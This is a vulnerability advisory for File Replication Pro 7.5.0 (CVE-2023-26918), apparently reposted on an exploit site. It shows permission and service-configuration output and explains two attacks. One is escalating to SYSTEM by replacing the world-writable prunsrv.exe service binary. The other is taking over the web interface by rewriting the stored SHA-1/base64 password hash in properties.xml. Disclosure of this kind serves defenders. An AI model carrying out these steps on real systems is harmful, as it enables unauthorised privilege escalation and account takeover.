File replication pro 7.5.0 privilege escalation/password reset due incorrect access control Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-04-20 | Type : local | Platform : windows
This exploit / vulnerability File replication pro 7.5.0 privilege escalation/password reset due incorrect access control is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: File Replication Pro 7.5.0 - Privilege Escalation/Password reset due Incorrect Access Control
# Date: 2023-04-13
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: http://www.diasoft.net - https://www.filereplicationpro.com
# Software Link: http://www.filereplicationpro.com/install/InstData/Windows_64_Bit/VM/frpro.exe
# Version: 7.5.0
# Tested on: Windows 10 Pro 22H2 x64
# CVE: CVE-2023-26918

Incorrect file/folder permissions in Diasoft Corporation's File Replication Pro 7.5.0 allow privilege escalation by
replacing a file with another one that will be executed with "LocalSystem" rights from Windows Services application.

C:\Program Files>icacls "c:\Program Files\FileReplicationPro"
c:\Program Files\FileReplicationPro Everyone:(F)
Everyone:(OI)(CI)(IO)(F)

C:\Users\Administrator>sc qc frp
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: frp
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 1 NORMAL
NOME_PERCORSO_BINARIO : "C:\Program Files\FileReplicationPro\prunsrv.exe" //RS//frp
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : FRPReplicationServer
DIPENDENZE : Tcpip
: Afd
SERVICE_START_NAME : LocalSystem

To exploit the vulnerability a malicious actor/process must weaponize or replace the prunsrv.exe executable that runs
with LocalSystem privileges as "frp" (FRPReplicationServer) service, since the application's path has "Everyone" full
access permissions.

Moreover, the "properties.xml" file in the "etc" folder inside program's path contains the hashed password for remote
access stored in sha1(base64) value, that is possible to modify. Replacing it with a new hash, generated by encrypting
a string in SHA-1 and encoding its digest via base64, will grant the login access on the application's web interface.